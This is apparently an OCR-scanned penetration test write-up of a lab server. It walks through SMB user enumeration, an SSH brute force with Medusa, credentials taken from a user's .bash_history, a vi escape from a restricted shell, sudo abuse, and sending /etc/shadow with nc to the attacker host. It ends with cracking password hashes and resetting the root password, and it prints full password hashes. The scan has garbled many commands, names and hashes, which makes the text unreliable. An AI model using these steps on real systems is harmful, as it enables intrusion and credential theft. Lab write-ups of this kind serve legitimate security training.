Attack Narrative
For this assessment, only the IP address of the server. Using the initial reconnaissance, it was
noticed that port 139 was open.

Running enum4linux allowed us to enumerate valuable information from this open port which relates
to SMB shares.

:=~# enumdlinux -a 192.168.66.101

From running this scan, usernames and password were disclosed along with open shares for an
unauthenticated attacker to access.

Enumerating users using SID 5-1-22-1 and logon username '', pa
-22-1-1000 Unix Useripeter (Local User)
-22-1-1001 Unix User\RMunemaker (Local User)
-22-1-1082 Unix User\ETollefson (Local User)
-22-1-1003 Unix User\DSwanger (Local User)
-22-1-1004 Unix User\AParnell (Local User)
-22-1-1005 Unix User\SHayslett (Local User)
-22-1-1006 Unix User\MBassin (Local User)
-22-1-1007 Unix User\JBare (Local User)
-22-1-1008 Unix User\LSolum (Local User)
-22-1-1089 Unix User\IChadwick (Local User)
-22-1-1018 Unix User\MFrei (Local User)
-22-1-1011 Unix User\SStroud (Local User
-22-1-1012 Unix er\CC - {Local
-22-1-1013 Unix User ode (Local
-22-1-16014 Unix User\CJoo (Local User)
-22-1-1015 Unix User\Eeth (Local User)
-22-1-1016 Unix User:\LSolum2 (Local User)
-22-1-1017 Unix User\JLipps (Local User)
-22-1-1018 Unix User\jamie (Local User)
-22-1-1019 Unix User\Sam (Local User)
-22-1-1020 Unix User\Drew (Local User)
-22-1-1021 Unix UserhZjess (Local User)
-22-1-1022 Unix User\SHAY (Local User)
-22-1-1023 Unix User\Taylor (Local User)
-1824 Unix Userymel (Local

-1825 Unix Userykai (Local

-1026 Unix er\vzoe (Local User)

-1027 Unix User\NATHAN (Local User)
-1828 Unix User\www (Local User)

-1829 Unix Userhelly (Local User)
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Comment

print$ Printer Drivers

kathy Fred, Wwhat are we doing here?
ALl temporary files should be stored here
IPC Service (red server (Samba, Ubuntu))

Comment

WORKGROUP

[+] Attempting to map shares on 192.168.66.101
/192.168.66.101/print$ Mapping: DENIED, Listing: N/A
/192.168.66.101/kathy Mapping: OK, Listing: OK
/192.168.66.101/tmp Mapping: 0K, Listing: OK
/192.168.66.101/IPC$% Mapping: OK Listing: DENIED

Typing in smb://RED shows us the shares that are available

Windows shares onred

. . S— . S
S - -
kathy print$ tmp

Looking around in these shares, did not disclose anything particularly sensitive, there were backup files located
there, but was only a default WordPress install, before being installed.



Looking back at port 80, there was some information disclose there, a .bashrc file and a.profile file.

-/mnt# dirb 192.168 127.0.0.1:8080

DIRE ﬂE.EE
y The Dark Raver

FATAL: Invalid URL format: 192.168.66.101/
{(Use: "http://host/" or "https://host/" for SSL)
:/mnt# dirb http://192.168.66.101 -p 127.0.0.1:8080

DIRE w2.22
y The Dark Raver

JRL BASE: http://192.168.66.101/
WORDLIST FILES: fusr/share/dirb/wordlists/common.txt
X¥Y: 127.0.0.1:5080

ENERATED WORDS: 4612

---- Scanning URL: http://192.168.66.101/ ----
http://192.168.66.101/.bashrc (CODE:200|S5IZE:3771)
http://192.168.66.101/.profile (CODE:200|SIZE:675)

Looking at port 21, the initial nmap results show that the port is open , using the username list found
earlier a bruteforce attack is started to see if a login can be obtained.

:~/Deskto -h 192.168 Pl -t 5 -L -U ~/Desktop/users.txt -P fusr/share/wordlists/rockyou.txt -M ssh
Medusa v2.2 [http: s.net] (C) Mo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT [ of 1, @ complete) U RNunemaker (2 of 30, @ complete) word: 123456 (1 of 14344391 complete)
\CCOUNT [ of
A\CCOUNT C: [ (1 of
A\CCOUNT <: [ssh 0 of
\CCOUNT [ of
ACCOUNT [ of

23456 (1 of 14344391 complete)
: 12345 (2 of 14344391 complete)

1
1
Wl
1,
1
1



While this is brute force is running | am looking for known vulnerabilities in the services that have been found open
via the nmap scan.

Debian

Fr 5 3.5p1 -
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One of them is a username enumeration exploit, | try this to see if the username found earlier are applicable for the
ssh service running

s.txt 192.168.66.101

This confirms that the username found on the SMB shares are capable of using the SSH service and is an information
disclosure vulnerability.

TweslETa6l0 your users. .. :~/Desktop# cat users.txt
peter - timing: 0.164349 peter
RNunemaker - timing: 0.164966 RNunemaker
ETollefson - timing: ©.179998 ETollefson
DSwanger - timing: ©0.16936 DSwanger

AParnell - timing: 0.176145 AParnell
SHayslett

MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo

Eeth




The ssh bruteforce is still running in the background at this point and | notice a result

CCOUNT FOUND: [ssh] Host: 192.168.66.101 User: MFrei Password: letmein [SUCCESS]

Using these credentials, we are able to get a SSH connection to the server. At this point the server has been
compromised due to weak credentials.
Below is proof of access using the MFeri account.

:~/Desktop# ssh MFrei@l92.168.66.161
The authenticity of host '192.168.66.101 (192.168.66.101)' can't be established.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGvedJZFaRo7iSvLNoCwyTA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.66.181' (ECDSA) to the list of known hosts.

v,

Welcome back!

MFrei@l92.168.66.101's password:

MFrei@red:~$ |j

MFrei@red:~% whoami

MFrei

MFrei@red:~-%$ id

uid=1010(MFrei) gid=1010(MFrei) groups=1010(MFrei)
MFrei@red:~%

The next step is to see if we are able to get any privilege escalation on this server.

Using the command cat /etc/*-release, we are able to see the OS version number. We can now start looking to see If
there are any well-known exploits for the OS.

IHEIGCIELRPRY cat /etc/*-release
DISTRIB_ID=Ubuntu

DISTRIB RELEASE=16.04

DISTRIB CODENAME=xenial
iISTRIB"DESCRIPTION="Ubuntu 16.04 LTS"
AME="Ubuntu"

ERSION="16.04 LTS (Xenial Xerus)"

ID=ubuntu

ID LIKE=debian

PRETTY NAME="Ubuntu 16.04 LTS"

ERSION ID="16.04"
OME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"

BUG REPORT URL="http://bugs.launchpad.net/ubuntu/"
BUNTU7CODENAﬂE=xeniaI

We also want to know what services are running on the server, this might give more ideas on routes that could be
compromised



Issuing the command ps aux we can see the services running
The below entry is interesting, so further investigation is needed.

JKanode 1417 ©.0 0.9 14696 9992 ? S 21:40 0:00 python2 -m SimpleHTTPServer 8888

Looking in the users home folder that is not restricted to the single user, we are able to see the .bash_history file,
showing us previously used commands.

We are presented with usernames and credentials.

Frei@red:ﬁhgmeﬂJKanode$ cat .bash history

-p thisimypassword ssh JKanode@localhost

pt-get install sshpass

Using the credential above, | am able to login to the ssh server as peter.



peter@l192.168.66.101"'s sword:
elcome back!

his is the She configuration function for new users,

zsh-newu

You are : is me = e you have no zsh startup files
7

(the Ti pr rc, .zlogin in the directory
~). This function can hwlp you wlt a few settings that should
make your use of the shell easier.

You can:

(g) Quit and do nothing. The function will be run again next time.

(B) Exit, creating the file ~/.zshrc containing just a comment.
That will prevent this function being run again.

(1) Continue to the main menu.
(2) Populate your ~/.zshrc with the configuration recommended
[

e yo
by the system administrator and exit (you will need to e
the file by hand, if so desired).

Pressing g drops us out of an interactive shell into a restricted shell. Using the id command, we are able to see more
information about the user we are logged in as (peter)

r d
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(1lxd),113(1lpadmin),114(sambashare)

reds ||

We can see that peter is a member of the sudo group, this is a good sign that we are able to compromise the system
further as we already known peters password.



By entering vi in the terminal and typing the following in the vi terminal

:set shell=/bin/bash

We are going to try and execute it from within the editor and break out from the restricted shell.
Press the ESC key and typing in

:shell

| now have an unrestricted bash shell as peter

peter@red:~$ whoami
peter
peter@red:~$ id

uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1xd),113(1lpadmin),114(sambashare)
peter@red:~$

Knowing that peter has sudo permissions we are able to see the contents of the root folder and make super user
commands, at this point we own the system, but we are still not yet root account.

eter@red:/$ sudo 1s /root/
ix-wordpress.sh flag.txt issue python.sh wordpress.sql
eter@red: /$ sudo cat /root/flag.txt

p6b545dc11b7a270T4bad23432190¢c75162c4a2b

eter@red:/$

We are also able to see the shadow file and crack the remaining passwords
On the attacker machine | type

desktop# nc -1 -p 1234 = shadow.txt

And on the compromised server | type to send the shadow file to the attacker machine

't cd home/
: /home$ cd peter/
shadow. txt
-w 3 192.168.66.100 1234 < /etc/shadow

Jetc/shadow: Permission de
red:~% sudo nc -w 3 192.168.66.100 1234 < shadow.txt

We now have the shadow file on the attacker’s machine we can attack the passwords



root:$6$TdNg38a/$20y90QigTQ2FeW2XFwGaHKF /X . qPK3BqX9zLhqu.6ffpzy@0Lp2TUMOywx99LqIIjVBPPIXxqOtTQbLBXROIT1: 16957:0:99999:7: : :
daemon:*:16911:0:99999:7:::

bin:*:16911:0:99999:7:::
Sys5:*:16911:0:99999:7:::
SYNcC:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
1p:*:16911:©:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
uucp:*:16911:0:99999:7:::
proxy:*:16911:0:99999:7:::
www-data:*:16911:08:99999:7: ::
backup:#%:16911:0:99999:7:::
1ist:#:16911:0:99999:7:::
irc:*:16911:0:99999:7:::
gnats:*:16911:0:99999:7
nobody: *:16911:0199999:7:
systemd- timesync:#*:16911:0:99999:7: ::
systemd-network:*:16911:0:99999:7:::
systemd-resolve:*:16911:0:99999:7:::
systemd-bus-proxy:%:16911:8:99999:7:::

syslog:*:16911:0:99999:7:::

_apt:*:16911:0:99999:7:::

Ixd:*:16955:8:99999:7:::

dnsmasq:*:16955:0:99999:7:::

messagebus:*:16955:©:99999:7: ::

sshd:*:16955:0:99999:7:::
peter:$6%$4rg/9UDx$iktewIFzESNWWfaiX2F3sLd79zTmworsqCDlUSeDkLbUqoM6tqeqzgluNjv7dBHOtH. tND19cTKvk. ABIP9t01:16957:0:99999:7:::
mysql:!:16955:0:99999:7:::
RNunemaker:$6$uIllc5IIn$xZuYd4N21/EEtkpl1lboW0ipDUs53KnX1pCCxglx3D09bkioGCjyro4Rr1i18z6jm.GSwbzMZSRb]/5BsqAOKS59x1:16957:©:99999:7: ::
ETollefson: $6$CK1ImTy7X$zd03ARINakANItOAGREIMTQItTgXW1I9GYQV2NLBjw6jDOGbORLjHF1CI0q]/Jaxo7HvZL.JB. nkmIIfw38rD. :16957:0:99999:7: ::
DSwanger:$6$A15dDixv$k9T87ELFyo1T6HdL . 4bXCOVRO. 4K6p7gpClwpkDxbU16xjZ135pSIM4TkXhtZQr36zX1dzONF/RXgvl. fadzQ0:16957:0:99999:7:: :
AParnell:$6$5gjMkxgK$6qcxxKnHejCz621cCKkEhgH69UhX165S,/tH6.Cc2xGVrpBjNVEPTLSO9Nutoqz4ESnvwALiaWNLHOIhhqnpBLLt40:16957:0:99999:7:::
SHayslett:$6$dF.1G5Ca$SX9p9bNADI3SI4mVXt. LbYWS6v2SH. j1BaCk/7dYSP/I3TKkDE8toxAYo7d.gllzwWBOGOhCG505uvLbEUKhOL. : 16957:0:99999:7: ::
MBassin:$6$ZvM0jgTg$VE6ICMvTzk.ai/jOQLILICM7X21/ULlyToYHHcpnm4ZgrLWwWYdVvhFzluxeRCUULpTSt2Hpsm1RRFSLHud/uQ8,/:16957:0:99999:7:: :

1Bara-tREMBYETTOcEAdANATOREINT A € FfuafalBe Al VnWThSuNn i TAa7MnEl ~R70ar winahma /an 701 ANEK TDAA TvsmYARAAC 1 TKGAENT - TROGET - A - 00000 - 7« - -

Plain Text + Tab Width: 8 + Ln 6, Col 26

Using john the ripper we start getting more credentials

:~/Desktop# john shadow.txt
reated directory: /root/.john
arning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
se the "--format=crypt" option to force loading these as that type instead
sing default input encoding: UTF-8
oaded 29 password hashes with 29 different salts (sha5l2crypt, c t(3) $6% [SHAS512 128/128 SSE2 2x
'q' or_Ctrl-C to abort, almost any other key for status

(SHayslett)

(ftp)

(elly)

In the meantime, | go back to the peter shell | have and get root access by changing the password

peter@red:~$ sudo passwd root
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated

@{root)
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